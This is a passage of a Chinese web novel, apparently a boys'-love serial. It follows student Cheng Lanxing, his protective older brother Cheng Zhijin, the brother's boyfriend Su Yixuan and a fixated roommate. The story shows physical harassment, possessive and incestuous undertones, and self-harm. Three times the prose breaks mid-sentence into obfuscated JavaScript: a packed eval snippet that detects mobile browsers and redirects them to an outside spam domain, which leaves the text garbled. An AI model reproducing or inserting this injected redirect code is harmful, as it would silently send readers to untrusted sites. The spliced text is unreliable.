杨岸眨了眨眼,似乎正在理解程揽星的话是什么意思,过了一会垂下头,声音有些咽哽,“对不起,别讨厌我。” “我没事,你别道歉了。” 程揽星拍掉身上的灰,想起来好像忘了什么,抬头就见被他忘掉的两人边朝这奔来,边鬼哭狼嚎。 “星儿啊,岸子啊,你们没事吧?我都快被吓晕了。” “吓死我了,看到你们俩滚下去,我的心也跟着一起滚下去了,幸好有这棵树拦着,不然后果完全不敢想。” 等到两人近前了,又被杨岸的惨状吓一跳。 “妈呀,杨岸你这是怎么搞的?怎么看着比揽星伤得还重?” 程揽星耸肩,无奈道:“去医院吧,路上再告诉你们。” 等到了医院后,孙维两人给杨岸挂了号,又把程揽星强硬地压去拍了CT。 好一通折腾下来,坐在医院的等候椅上,孙维和黄一佪才感觉肚子饿得有点难受,两人一起去外面吃了晚饭,又给杨岸和程揽星带了饭。 等回到医院后,程揽星已经检查完了,三人汇合。程揽星也饿了,一边和两人说自己的情况,一边往嘴里塞饭。 在出租车上,程揽星检查了一下手机,发现屏幕已经完全坏掉,就向黄一佪借了手机给程知谨打电话,大概是在开会的缘故,程揽星连续打了三个,也没人接听,只好给他哥发消息,说自己的手机坏了,现在是借室友的手机给他发消息,自己和室友过一会就回宿舍,让他不用担心。 等到在医院门口看到面覆寒霜的程知谨时,程揽星第一时间看向黄一佪,用眼神狠狠地谴责他。 黄一佪表示很委屈。 他哥打电话过来问自己什么情况,总不能骗他吧。当时他在外面买饭,程揽星不在身旁,他也不知道程揽星不想让他哥知道自己受伤了啊。而且程知谨的气场太强大,隔着手机屏幕让黄一佪下意识就说实话了。 程知谨冷着脸,简单地和三人打了招呼。面向程揽星时,脸色稍微好了点,把他上上下下检查了好几遍,在程揽星一再保证自己没有地方受伤,一点事也没有后,强硬地把程揽星塞入车内。程知谨提前帮三人叫了出租车,让他们先回学校,之后没再说什么就驱车离开了。 孙维捂住胸口,缓解程知谨周边的冷空气带来的压迫感。他偏头想和另外两人吐槽,却见杨岸盯着车辆消失的方向,面色阴郁,满腔的话一下子梗在喉口。 黄一佪挠挠脑袋,对于刚才发生的事始终有种不真实感。 按着c市下班拥堵的路况,从市中心到这少说也有一个半小时,程揽星他哥是怎么在四十分钟内赶过来的? 4. 苏逸轩 程揽星看着眼前跳动的楼层数字,脑袋放空,只想快点躺进温暖的被窝里睡觉。 先前爬山时就耗费了许多体力,后来为了救杨岸,虽然没有受很严重的伤,但毕竟还是在铺满碎石和枯枝的崎岖坡地上滚了一遭,被扎过的地方现在依然还在隐隐作痛。 “叮––” 程揽星走出电梯,将早已熟记的密码输入门锁。 回程时,程知谨的手机响了好几回,他都没有理会,反倒是程揽星着急起来,让他哥先去忙自己的,他可以打车回去。但程知谨坚持要把程揽星送到家,还是程揽星再三强调,他没受伤,而且就只是坐个电梯,能出什么事,程知谨才妥协,只送程揽星到单元楼下,然后返回公司处理他得知消息后丢下的工作。 进门后,程揽星换好拖鞋,将自己的背包放在沙发上。 他来过这里很多次,对物品摆放的位置很熟悉。从卧室拿了套他哥的衣服,又在浴室一旁的置物架里拿了一次性毛巾,正准备拧开浴室门进去洗澡时,门却从里面被打开了。 程揽星本就处于停机边缘的脑袋彻底宕机,愣在了原地。 男人对于突然出现在门外的人也很意外,但他没像程揽星一般脑袋宕机,呆在原地。他的脸上没什么表情,眼底带着一丝探究,待看到程揽星手上拿着的一次性毛巾和有点眼熟的衣服后,挑挑眉,嘴角扯出一个冷笑。 他扔下手中擦了一半的毛巾,欺身捏住程揽星的下巴,力气很大,死死地固定住程揽星,让他无法反抗,任自己揉捏。 “程知谨真是好样的,都敢带人来家里了?” “?” 程揽星猜出这人大概就是他哥的男朋友苏逸轩,虽然不明白他怎么会说出这种话,但显然他现在的理解好像有点偏差,程揽星觉得还是先解开误会比较好。 “你误会了,我是……” 可苏逸轩没让他说完,嗤笑一声,眼里的轻蔑压都压不住,手上的力道大了些,“怎么?来偷情也不摸清楚家里有没有人?” 说着,苏逸轩又轻佻地抚过程揽星的嘴唇,“还是说,程知谨想玩3/p?” 程揽星脑中嗡地一声,只觉这人脑子好像有大病。他的眼角微红,偏头躲开苏逸轩的抚弄,“你是不是有病,我是他弟。” 感觉到下巴上的力道小了些,程揽星立刻挣脱他的桎梏,退开到一步之外,确定他不能再像刚才一般压制自己后才去看他的反应。 苏逸轩凌厉的眉毛拧在一起,翻了好一会记忆,才从角落里翻出程知谨似乎和他提过自己有个弟弟,今年考到了c市。 程揽星等他自己反应过来,又压着怒气向他解释自己今天出了点意外,程知谨有事先回公司了,让他过来休息一下,没想到恰好碰到他在家。 苏逸轩皱着的眉终于松开,虽然知道自己误会了,但刚才这人骂了自己,还未被人这样对待过的苏少爷不爽,冷哼一声,“你早说清楚不就行了。” 程揽星气结,你根本没给我机会啊大哥。 但他急着洗完澡睡觉,也不想和苏逸轩一般见识,大少爷估计从来都没有认过错,况且这是他哥的男朋友,闹僵了也不太好。 苏逸轩退开一步,侧身让程揽星进去。 两人之间的误会揭过,程揽星正打算进去,余光瞥到苏逸轩刚才扔在地上的毛巾,捡起递给一旁一直盯着他的人。 “我先去洗澡了,哥他过会就回。” 苏逸轩漫不经心地“嗯”了一声,接过程揽星递来的毛巾。 站在淋浴头下,程揽星在脑中复盘刚才和苏逸轩的对话,热水冲洗过后,他的思绪清晰了些,觉得苏逸轩的态度实在奇怪,又想起他哥之前提到男朋友时的语气,直觉这两人间肯定出了什么问题。 不过他向来不会过问别人的私事,更何况程知谨也不喜欢他过问自己的感情生活。 可能是向家里出柜时,爸妈的态度让他十分受伤,他交了男朋友这件事,程揽星还是那年知道他不回家过年,追问了他好久,他才告诉程揽星的。 他问程揽星,“你会觉得哥哥很恶心吗?” 程揽星想了想,“不会,不管哥喜欢男生还是女生,喜欢哪个人,你是我哥,这一点永远都不会变。” 对程揽星来说,程知谨首先是他的哥哥,然后才是那些附着在他身上的世俗眼光所拼凑成的程知谨。他与程知谨一路相伴至今日,不会有第三人像他们一般了解彼此,所以他不会顺着世俗的评判来认识程知谨。 电话那端传来阵阵不规律的摩擦声,程揽星静静等待着,过了好一会,程知谨再次开口,声音已恢复冷静,“只要你不觉得恶心就好。” 此后,程知谨再没有回过家,只时不时来看看程揽星,给他买些他需要的东西。不过基本上不会提及自己的男朋友,所以两人谈了这么久的恋爱,程揽星还是今天才知道他男朋友长什么样。 洗完澡后,程揽星拿过干净的衣物,才发现上衣不见了。 他把裤子穿上,在浴室里找了一圈,但这里的空间就这么大,一眼看过去没有,就算再找一圈也不可能凭空蹦出来。 大概是刚才帮苏逸轩捡毛巾时掉了吧。 程揽星这么想着,打开门准备再找一找。果然,那件蓝色睡衣正静静躺在地上,控诉程揽星对他的不上心。 宝贝,要怪就怪苏逸轩吧。 他走过去捡起衣服,还未完全起身,就感觉有一道视线落在自己身上,这道视线让他心里莫名涌出一阵烦躁。 而视线的主人丝毫没有自觉,在程揽星起身后,依然肆无忌惮地落在他裸露的上半身上。 程揽星拿衣服遮住,苏逸轩的视线让他有种被人寸寸扒光衣服的感觉。明明以前在学校住宿时,和朋友一起洗澡,他们也会互相打趣对方的白斩鸡身材,但他从没有产生过这种被冒犯的不适感。 “遮什么?遮也没遮对地方。” 程揽星跟着他的视线低头,两颊迅速升温,瞬间如炸开的刺猬一般,“你在看哪里!!!” 而罪魁祸首耸耸肩,端起水杯淡定地喝了口水,甚至还有闲心洗干净杯子后倒扣在置物架上。 “看什么?听不懂。” 程揽星攥紧手中的衣物,转身回程知谨房间换衣服。 论起厚脸皮,他绝对比不过苏逸轩。好汉不吃眼前亏,所以程揽星选择不理睬他。 重新换上干净的衣服,程揽星出去时,客厅空无一人,他也懒得想苏逸轩去哪了,把自己的书包调整了一下,就靠在沙发上睡了。 其实他挺想回宿舍的,苏逸轩在这,两人肯定要睡在一起,这里又没有客房,他没地方睡。但他要等程知谨回来,他的手机用不了,要是这么不声不响地走了,他哥肯定会生气。 程揽星累极了,洗澡已经用光了他的精力,他靠着柔软的沙发,不一会就睡着了。 “……你少去招惹他。” 程揽星是被吵醒的。睁开眼时,程知谨和苏逸轩站在沙发旁,似乎发生了争执,两人的表情都不太好。 见程揽星醒了,程知谨立刻俯身过来摸了摸程揽星的额头,问他有没有哪不舒服,苏逸轩站在一旁冷眼看着,嘴角微扬,笑容却没什么温度。 “哥,我没事,你什么时候回来的?” 程揽星坐直身体,身上的薄毯随着动作掉落,程揽星手快过脑子,在薄毯落地前抓住,回忆了一下,自己睡之前好像没有盖什么东西,应该是他哥给他盖上的吧。 “十点半回来的。” “怎么这么迟?哥你们公司这是压榨员工啊,太黑心了。” 程知谨不语,只是笑笑,他拿过程揽星手上的薄毯,放在一旁,替他整理盖住眉眼的碎发。 “呵。” 两人这才想起来一旁还有个人,转头看去,苏逸轩双手抱臂,依然是那副似笑非笑的样子,丝毫没有自己打扰他们了的尴尬,反倒是一副看戏的姿态,“不给我介绍介绍?” 介绍什么?他不会还不知道他男朋友的弟弟叫什么名字吧? 程知谨不动声色地站在程揽星前面,挡住苏逸轩的视线,“我弟弟,程揽星。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540812|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还真不知道。 程揽星一时之间心情有些复杂,不知苏逸轩这样是因为他哥从没告诉过他自己的名字,还是因为他根本不屑于记住自己的名字。 苏逸轩眯眼,抬头用下巴点点程揽星,“你告诉他家里的密码了?” “嗯,我之前和你提过,”程知谨皱眉,语气里透着不满,“你能不能改改你这毛病?” 苏逸轩不在意地耸耸肩,“你又不是第一天认识我。” 说完摆摆手,朝客厅的另一边走去,“我去睡觉了,不要吵我。” 程揽星眼睁睁看着苏逸轩走向“储物间”,拉开门,露出里面可窥见的布局,分明是有人生活过的痕迹。很快,苏逸轩便关上门,顺便上了锁。 那个房间他初次来时就一直未曾打开过,出于好奇问过他哥,程知谨眼神在房间那停留了一瞬,接着面不改色道:“储物间。” “哥,储物间?” 程知谨移开视线,拒绝回答。 他不知道怎么回答程揽星,毕竟当时对上程揽星好奇的眼神,程知谨只觉得弟弟十分可爱,随口就这么回答了,确实没什么动机,后来没改正,也只是忘记了。 而且他也没说错,那确实是储“物”间。 “我还以为你们俩睡在一起。” “不是,我们都不习惯和别人睡在一起。” 程揽星点点头表示知道了。 虽然他是那种谈了恋爱,晚上就要抱着恋人睡觉的人,但是不同的情侣有不同的相处方式,他理解。 程揽星最终还是没回宿舍,留在他哥这睡了。 终于躺在软绵绵的床上,程揽星开心地滚了两圈。 这个床垫是程揽星睡了一晚后抱怨床太硬了,程知谨立刻定做的,躺下时,就像躺在棉花糖里。 结果太过于开心,不小心碰到床沿,恰好撞在有淤青的地方,程揽星顿时十分夸张地痛叫起来。 其实他一开始撞到背时就想嚎了,但是碍于杨岸在身边,怎么样也要给自己挣个面子,这会只有他哥在旁边,当然无所顾忌了。 “怎么了星星?” 程知谨草草扯了条浴巾围住,快步冲到程揽星身边,看他捂着背哀嚎,忙去浴室把毛巾浸热,掀开程揽星的衣服,敷在淤青处。 尽管在车上时已经查看过了,但这会再看到,程知谨的心还是如第一次看到时一般阵阵抽痛。 “你下次要是再想爬山,必须有我陪着。” 程揽星点头,“好,下次一定和哥你一起去。” 这话程知谨在车上就已经说过三遍了,程揽星从初期觉得他哥大题小做,已进化到现在立刻答应。 “哥,我困了,想睡觉。” “乖,等哥给你擦完药再睡。” “可是味道好大,会睡不着。” 程揽星试图卖惨来软化他哥的态度。 “没事,你抱着我睡,我等会擦你喜欢的香香。” 程揽星忍不住笑了,“哥,你知不知道你面无表情地说香香好奇怪哦。” “……” 程揽星小时候擦儿童霜时喜欢喊它香香,程知谨每次给他抹时,程揽星都会念叨一遍“擦香香,变香香”,久而久之,程知谨也跟着这么叫了。 现在两人大了,程揽星早已改口,而程知谨哄他时,还是会这么称呼,已经养成的习惯,没有那么容易改变。 程知谨从程揽星的背包里把药拿出来,让程揽星趴在床上。 睡衣被撩上去一半,程揽星的皮肤白皙,青青紫紫的淤青布在其上,平添了一丝被凌虐的美感,虽然不合时宜,但程知谨确实生出了些在其他地方留下印记的念头,他的眼底暗了些,喉结上下滚动,但手上的动作却十分正常,尽职尽责地给弟弟揉开药油。 这样不设防,就像是故意引诱一般。 危险的念头一旦出现,就如海啸一般,势不可挡。程知谨的眼底越是暗流汹涌,动作就越发克制,他用目光描摹程揽星的身体,用手握住程揽星的体温,这让他产生了完全拥有眼前人的错觉。 5. 局外人 程揽星起床时,程知谨正在做早饭。 这样的场景让程揽星有些恍惚,仿佛回到了两人互相依偎取暖的那段日子。 程知谨上了初中后,两人就没在大伯家住了。那时程知谨也是这样,每天早早起床,伴着窗外的蝉鸣声或是簌簌风雪声,做好两人份的早餐,给程揽星穿衣服,刷牙洗脸,背小书包,然后牵着程揽星的小手,一起踏上去学校的路。 但如今,只容得下两人通行的窄窄泥巴路,早已被厚厚的水泥覆盖,无数车辆行人行经,却再没有留下过两人并肩时的脚印。路旁一到春天就开满的各色野花,程揽星嘴馋时偷偷摘的蚕豆,夹过他手指的天牛窝点,全都被埋在了水泥路下。 程揽星的眼角温热,忙背过身极力收回要掉落下来的眼泪。 往日程揽星要是受了委屈,都会用各种方法让他哥发现,然后窝在他哥怀里,直到被哄好为止。 三年的时光,改变的不止有他的身高样貌,还有他们之间的一些相处习惯。 程揽星到水池边把碗筷冲洗了一遍,放在他哥伸手就能拿到的地方,然后泡了三杯豆浆,在桌上放着降温。 程揽星没有其他事做,也没有手机可以玩,只能在他哥身旁打转,看有没有自己能帮忙的地方。 “哥,你怎么只盛了两碗面条?” “苏逸轩不吃。” 程揽星刷牙时肚子就很饿了,嘴里正叼着块全麦面包,想暂时缓解一下饥饿感,闻言不解道:“逸轩哥没有吃早餐的习惯吗?” “不清楚,我很少在家做早餐,他一般也不吃我做的早餐。” “哦,那我还是喊他一下吧。” 程揽星慢悠悠晃过去,抬手轻敲了敲门,等了半分钟,见没有回应,决定再敲一次,这次多用了点力。结果抬手敲下去时,门却突然开了,他来不及收回向下着力的手,擦过苏逸轩的胸落下,尴尬地回到自己身旁,指关节处还残留着一点温热的触感。 “……” “我可以解释,我本来是想敲门的。” 程揽星无语。 程揽星崩溃。 程揽星想抱头冲天大喊,为什么要让他遇到这么尴尬的事情。 “让开。” 程揽星忙让到一旁。 苏逸轩臭着张脸朝卫生间的方向走。 从背影就可以看出他的心情不佳。 程揽星目送苏逸轩进了卫生间,猛然想起自己好像还没告诉他自己敲门的目的。 “逸轩哥,你要和我们一起吃早餐吗?” 程揽星在餐桌边等了一会,苏逸轩从厕所出来时,头发乱糟糟的,不似昨天那副不好亲近的样子,他见苏逸轩没回答,又问了一遍。 苏逸轩想说“不吃”,他的睡眠质量一直不太好,很难入睡,所以在家向来睡到自然醒,因此也从不会早起吃早餐。这次中途被叫醒,起床气跟着上来,压着脾气才没冲程揽星发火,刚听见他问自己吃不吃早餐时,心里烦躁,只想无视过去。但程揽星又问了一遍,还满含期待地看着自己,不知怎么的,心脏像被羽毛挠了一下,他鬼使神差地答应了,又转回去洗漱。 等他洗漱完出来,程揽星端着两碗面条坐到餐桌旁。 程知谨见他拉开椅子坐下,心下诧异,但也没说什么。 “这是我泡的豆浆,逸轩哥你尝尝,温度降下来了。” 程揽星刚把豆浆往苏逸轩那边递过去,拿筷子的手就被碰了下,程揽星扭头,他哥用筷子卷了个荷包蛋,举在半空,“星星,尝一尝。” 程揽星下意识张嘴,接受他哥投喂。 “哥,吃不下了。” 程知谨自然地把程揽星吃剩下的荷包蛋塞入自己口中。 苏逸轩在一旁围观完全程,目光晃了晃,落在程揽星递过来的豆浆上,拿起喝了一口。他没有喝过这种廉价冲泡饮品,其实本来也不打算喝,但眼前这两人完全无法融入他人的氛围,让他心里的怒气止不住地溢出,驱使他做了以前没有做过的事。 “这豆浆怎么没味道?” 程揽星果然被这边吸引了注意力。 “逸轩哥你喜欢喝甜一点的吗?厨房还有白糖,我去拿给你。” 说着,程揽星就要起身。 “他自己去。” “不用了,太麻烦了。” 两道声音同时响起,程揽星左右看了看,莫名有些尴尬。 苏逸轩扯出一个笑容,他长相俊逸,笑起来时更是让人觉得如沐春风,只不过若再仔细些观察,会发现他的笑意并未达眼底。 “我喝你的就行。” 他的眼睛看向程知谨,后者皱起眉,拒绝的话还没说出口,却见苏逸轩拿过程揽星的豆浆,再次看向他,嘴唇贴在杯上留有水渍的地方,轻抿一口,眼神挑衅。 “可是我已……” 程揽星根本来不及阻止,就被苏逸轩拿走了他的豆浆,只能在心里吐槽。 他才喝了一口。 苏逸轩喝完,还颇意味深长地留下一句评价。 “加了糖就是不一样,还是揽星的好喝。” 程知谨面无表情地看着,等苏逸轩把杯子还给程知谨时,先一步接过杯子,起身时椅子摩擦地面,发出不太友好的刺耳声。 他握着水杯的手青筋暴起,快步走到厨房,将里面剩余的豆浆全部倒入水池中,并拿了一个新的杯子,重新泡了杯豆浆,递给程揽星。 “刚才那杯凉了,喝这杯吧。” 苏逸轩笑笑,也不在意,“是吗?好像是有点凉了。” 程知谨扭头看他,眼里的警告意味十足。 “你不想吃那就回房间睡觉。” “我可没说不吃。” 程揽星默默地喝着手中的豆浆,这还是他第一次看到他哥吃瘪。 看来两人能谈恋爱,还是要势均力敌,苏逸轩厚脸皮,他哥冷冰冰,还挺适配。 正神游天外的人没发觉,针锋相对的两人相继把目光放在了他身上。 程知谨的余光一直注意着程揽星,见他举着杯子,呆呆地小口抿豆浆,嘴唇上围了圈豆浆沫,连杯子见底了都没发觉,当下中止和苏逸轩的无意义对话,从一旁抽了张纸,拿开杯子,替程揽星擦去豆浆沫。 程揽星回神,正好对上他哥含笑的双眸,暗叹幸好程知谨是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540813|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他哥,不然他可受不了被这样冷冰冰地对待。 餐桌上安静下来,三人间暗流汹涌,程揽星低头,把最后一口豆浆喝了。 这顿早餐吃下来,只有程揽星的心情不错。 虽然两人吵架波及了他,但毕竟久违地吃到了他哥做的早餐,两相比较,还是开心多一些。 “这么开心?” 苏逸轩还坐在餐桌旁,目光在厨房里洗碗的池知谨和客厅里无聊摆弄魔方的程揽星之间游移,随即定格在程揽星身上。 程揽星“啊”了一声,才反应过来这人是在和自己说话。 他不懂苏逸轩为什么问这个问题,但还是诚实地点点头。 苏逸轩走过来,拿走他手上的魔方,手指翻飞,不多时,还原后的魔方被递到程揽星眼前,“好玩吗?” 程揽星的胜负欲被挑起,拿起桌上的另一个魔方,在心里推演好公式,十几秒内便还了原。他举起魔方,在苏逸轩玩味的眼神中叠在原先的魔方上。 “好玩,而且是很好玩。” 苏逸轩闻言却挑起笑,他抬手放在魔方朝上的那一面,“还挺有趣。” “……” 程知谨出来时,苏逸轩已经回房间睡觉了,程揽星举着两个魔方,探究它们的有趣之处。 他走过去,让程揽星准备一下,等会开车送他去学校。 程知谨住的小区离程揽星的学校大概半个小时的路程,等红灯时,程知谨递给他一个白色纸袋。 程揽星打开纸袋,看到躺在底部的长方形纸盒,瞬间明白里面装的是什么。 最新款的xx手机。 “摔坏的手机不用修了,用这个就行。” 程知谨很了解他弟,知道他肯定打算把旧手机拿去手机店里修一修,凑合着用,所以把手机给他后,又补充了一句。 程揽星张张嘴,快出口的话又拐了个弯,“哥,你昨天晚上买的?” “嗯。” 因为担心下班太晚,门店都关门了,所以程知谨特意绕了远路,先买手机才回公司,还因此被经理关在办公室里骂了好一通。 “谢谢哥。” 他想凑过去抱抱他哥,但现在已经绿灯了,车子启动,重新汇入车流。 程揽星没让程知谨送他到校门口,那里不好掉头,现在下车的地方离校门也不远,走五分钟就到了。 在他解开安全带,就要下车时,一双手横过来,把他压回座位,他惊讶地转头,见程知谨倾身过来,整个人几乎完全覆盖住他,这样的姿势让车内狭小的空间愈发得逼仄。 “星星,你是不是忘记了什么?” “啊?” 程揽星眨眨眼,皱着眉努力回想自己忘记了什么。 他最近还挺乖的,应该没犯什么错,排除;最近一直有给他哥发消息,应该没有哪天漏了吧,排除;最近…… 程知谨轻笑,弟弟这幅呆呆的样子实在太可爱,让他不忍心再继续逗弄下去。他进一步拉近两人间的距离,双臂轻轻圈住他,下巴放在程揽星的肩上,呼出的热气抚过程揽星裸露的脖颈,激起阵阵痒意。 “你忘记抱哥哥了。” 6. 擦药 程揽星才进宿舍,黄一佪和孙维就围了过来,拉着他上下检查,又顾忌他身上可能还有别的伤,动作小心翼翼,像捧着个瓷娃娃。 “揽星,你现在感觉怎么样?昨天晚上还有没有哪不舒服的?” 程揽星摊开双手,摆出过安检时的姿势,任他们一圈一圈地检查,“感觉很好,没有哪不舒服了,别担心,我没那么脆弱啦。” 等到两人检查完,程揽星才得以迈出自进门后的第一步。 这期间,杨岸一直站在一旁,表情愧疚,想靠近又不敢靠近。 他昨天一夜没睡,到凌晨时才撑不住睡了一个多小时,整个晚上脑中一直在回放程揽星抱着他滚下山坡和背后大片淤青的画面,梦里也都是程揽星因为不舒服而蹙起的眉,紧咬嘴唇时凹陷下去的唇肉,为了忍痛悄悄握紧的手……全是局部图,一帧帧放映,最后拼凑成在他怀里痛苦呻吟的程揽星。 这个画面一出现,杨岸就被惊醒了。 窗边爬上几缕微弱的阳光,让他脱离伸手不见五指的黑暗空间,远处传来垃圾车工作的声音,时而被空调运转声盖过。 杨岸长处一口气,现在才有脱离梦境的真实感。 他没再继续睡,躺在床上发了会呆,等到一旁传来窸窸窣窣的声音,才起身刷牙洗脸,然后等着程揽星回来,现在程揽星回来了,杨岸反而不敢上前了。 其实程揽星进门时,最先看到的就是杨岸,原本他以为杨岸会过来,毕竟他的反应最大,但对于杨岸现在这般犹豫的样子,他也不意外。 程揽星走过去,问他的手好点了没,杨岸立马将两只手伸出来,又翻转换成手心给他看,只不过两只手上都缠满了绷带,什么也看不出来,杨岸意识到了这点,忙把手收回。 “已经好了。” 程揽星点点头,他知道就算再问下去,杨岸也只会是这个回答。 杨岸的右手食指第一个指节处有血渗出,纱布染红了一小块,按理来说经过昨天的处理后,是不会有这种情况出现的,而且杨岸似乎没意识到自己又出血了。 “那你好好养伤,能不用手就不用。” 杨岸很听他的话,这样的提醒足够了。 “那你,你今天有没有好点?还,还有地方痛吗?” “好很多了,基本上不会再痛了。” 两人的左边就是杨岸的书桌,上面堆了十几种药物,大多是用作止痛化瘀的,程揽星的目光扫过,只以为是杨岸买来比对效果的,没怎么在意。 “那就好。” 杨岸又想抠手指了,但想到刚才程揽星让自己好好养伤,只能努力克制着不做违逆他的事。 程揽星把手机卡从旧手机里扣出来,装进新手机,登录之前的手机账号,把数据导入了一下,点进通讯录上下翻看,昨天有十几个未接电话,大多数是他哥的,还有一个是杨岸打来的。 看了看时间,是昨天晚上十点的时候。 程揽星问杨岸当时给他打电话是有什么事吗? 杨岸抬头看他,只一眼,又快速低头,刘海遮住眼睛,连带着藏起眼底的情绪,“没事,只是担心你。” 程揽星在心里叹了口气,这人还在愧疚呢。 朋友之间互相帮忙,这不是很正常的人际交往吗? 程揽星并不认为自己昨天救了他是件多么伟大的事,也不觉得自己受伤值得他产生这么浓重的愧疚情绪。当时那样的情况,换作是谁,他都会去救,更何况他们是朋友。 他走过去揽住杨岸,微弯腰,见杨岸一双眼睛被刘海遮得严实,不满地用手拨开。 杨岸把他的动作全看在眼底,几乎是在他抬手的瞬间就闭上了眼睛,一对睫毛颤动得厉害。 撩拨他的人拨开刘海,见他紧闭着眼,十分不解,“你闭着眼睛干嘛?” “啊?” 杨岸下意识顺着程揽星的话睁开眼睛,正对上他明亮的双眸,纤长的睫毛近在咫尺,他的笑容如玫瑰般绽放在眼前,空气沾上了甜腻的味道,就连那点狡黠,都包裹了一层蜂蜜。 “这样吧,你要是还觉得对不起我,那就帮我去药店买点药,这样你就不欠我了。要是你还觉得愧疚呢,那你就是不把我当朋友了。” 程揽星实在不喜欢昨天药油的味道,他刚才去线上挂了个号,恰好之前给他看CT的医生有时间,说可以用其他的药替代,效果大差不差。 这是杨岸第一次拨开帷幕,完完全全地与程揽星对视,他努力控制住想要躲开的冲动,跟着程揽星的话点头。 “好了,我去写作业了,别苦着脸了。” 程揽星贴心地替杨岸把刘海放回去,先前拨开刘海只是为了好好地和杨岸对话,现在目的达成了,他也就不会再做这种半强迫式的行为。 杨岸似乎很不喜欢眼睛完全露在外面,程揽星想,他刚才一直在颤抖。 对于这次谈话,程揽星也不知道能不能起到效果,但他言尽于此,杨岸要是再听不进去,那他也没办法了。 等程揽星做完作业,杨岸已经把他说的药买回来了,还带了晚饭和甜品。 “揽星,要,要帮你擦药吗?” 从程揽星洗完澡出来,杨岸就在等他让自己帮忙擦药,但是程揽星一直没有提,杨岸看了他好一会,才开口问出来。 程揽星正在和程知谨聊天,他哥问他有没有涂药,程揽星想了想,“不用了,等会一佪回来了帮我擦。” 住在月亮隔壁:我室友帮我涂了 谨:好 “我也可以帮你。” 杨岸试图再争取一下,他走到程揽星身旁,满含期翼地看着他。 但很可惜,这份期翼被刘海遮地严严实实。 程揽星放下手机,用食指点了点他手上的绷带,好笑道:“你这样怎么帮我?” “我,我可以的。” 杨岸语气急切,表情变得有些狰狞,想也不想就用左手去撕右手的绷带,鲜血随着他的拉扯渗出还未愈合的伤口,滴落在左手的绷带上,喂饱绷带后,又跌到地上。 程揽星行动快于大脑,忙伸手阻止他这自残一般的行为,握住他已经被撕了一半绷带的右手,温热的血很快染上程揽星的掌心,湿漉漉的,十分黏腻。 这种感觉不太好受,像是被蛞蝓爬过一般。 杨岸的脑中只有解开绷带就能帮程揽星上药这一个念头,见自己的右手被他握住了,又用嘴去咬左手的绷带。 “杨岸,停下。” 随着程揽星话音的落下,杨岸也乖乖地停止了撕咬。 程揽星叹了口气,对于杨岸这样的应激行为实在无法理解,“你要一直这样的话,那我以后不管你了,随便你怎么伤害自己,反正不是痛在我身上。” 要不是拿杨岸当朋友,顺便看在他给自己带了这么多次饭的份上,程揽星是真不想一直看他在这里发疯。 杨岸的手还被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540814|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握着,低垂的脑袋在听到这些话后,猛地抬起,眼里有泪光闪过,很快汇聚在眼窝,转了半圈,没有掉落下来,“对不起,我以后不会再这样了,你,你别不理我。” “你这样让我怎么相信你?” 程揽星轻轻地晃动两下他的右手,血液已经凝固,伤口处一片狼藉,撕开的绷带垂落在一旁,看着有点凄惨。 杨岸不知道如何让他相信自己,他只一直重复着“我会听话的,我都听你的。” 眼前人的一点微小动作都在牵动着杨岸的情绪,短暂的沉默让他如被置于地狱业火里焚烧,他不断地祈求程揽星能给予他可承受的审判。 程揽星放开他,竖起小拇指,“好吧,那就拉钩。” 杨岸也伸出小拇指,急切地勾上,“好,拉钩。” “跟着我一起念。” “好。” 杨岸怕口头说不够,还重重地点了下头,就怕程揽星不相信他,扭头就不理他了。 “拉钩上吊,一百年不许变。” “拉钩上吊,一百年不许变。” 程揽星想了想,又补充了一句,“骗人是小狗。” 说完后,程揽星被自己的补充逗笑,但想到现在的场合比较严肃,他努力控制住表情,只微弯眼睛,嘴角绽开小小的弧度。 杨岸第一次见他露出这样的笑容,整个人看呆了,愣在原地,直到自己的手被另一个小拇指的主人带动着轻晃了晃。 “想什么呢?跟着说呀。” 然后程揽星就看到杨岸的脸由原本不正常的白慢慢变为红色,头也缓缓转向了另一边。 “嗯,骗人是小狗。” “你的脸怎么变红了?不舒服吗?” 程揽星放开他的手指,既惊叹于他的脸变色速度之快,又担心他是不是不舒服了。 杨岸摇头,三步并两步快走到床边,手忙脚乱爬上床,从被子里闷出一声“我没事”。 恰好孙维和黄一佪吃完夜宵回来,见杨岸床上隆起一团,不禁有些诧异,“杨岸你今天怎么这么早就上床睡觉了?不学习啦?” “我困了。” 程揽星探出头来,“你们看看他是不是生病了,刚才脸好红。” “脸红?不会是发烧了吧。” 黄一佪边说着,边准备掀开被子看看情况,手才挨上,被子里就传出了比杨岸以往说话时都要大的声音。 “我真没事,就,就是困了。” 最后两个字拉得太高,甚至还破音了。 黄一佪被吓到,往后连着退了两步,直到撞上一堵“墙”,“没事就没事嘛,那你小点声音嘛,吓死我了。” 